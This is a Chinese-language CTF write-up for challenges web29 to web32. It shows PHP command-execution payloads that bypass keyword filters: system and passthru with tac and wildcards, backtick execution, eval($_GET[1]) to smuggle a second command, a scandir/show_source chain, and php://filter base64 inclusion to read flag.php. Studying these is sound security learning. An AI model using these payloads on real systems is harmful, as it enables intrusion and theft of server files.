web29 : 命令执行,需要严格的过滤

分析可知:
1.传入的是一个参数,名为c
2. 根据函数的性质,参数中是不可以有"flag",大小写都不可以有。
3. 将这个名为c的参数 按php语言进行解析
以上三个均为重点 ,这个很关键 ,
1、如?c=system("ls");
则相当于在执行php函数 system()
结果就是可以查看当前的目录中的文件
得到的结果是 flag.php 和 index.php (此题确实是有这两个文件的),如:

因此同理,在这里我们可以直接用?c=system("tac f*.php"); 来获取到这个文件,并得到flag。

web30 :命令执行,需要严格的过滤

解法思路 : 题目过滤了flag,system,php等,我们就可以考虑用什么来替代system执行系统命令,主要有passthru等
因此,解法1: c=passthru("tac fl*"); (绕过)
解法2: c=echo(`ls`); (反字节符配合echo)
解法3: c=eval($_GET[1]);&1=system("tac%20flag.php");
如下图: (即可得到flag);

web31 : 命令执行,需要严格的过滤

分析: 此题比上一题多过滤了"cat sort shell"以及,点,空格,单引号这些字符串,但我们可以用上题的第三种方法,即:
c=eval($_GET[1]);&1=system("tac%20flag.php");
当然,此题的wp作者也给了一个其他解决方案:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web32 : 命令执行,需要严格的过滤
题解:
解法1: 文件包含
url/c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php


3420

被折叠的 条评论
为什么被折叠?



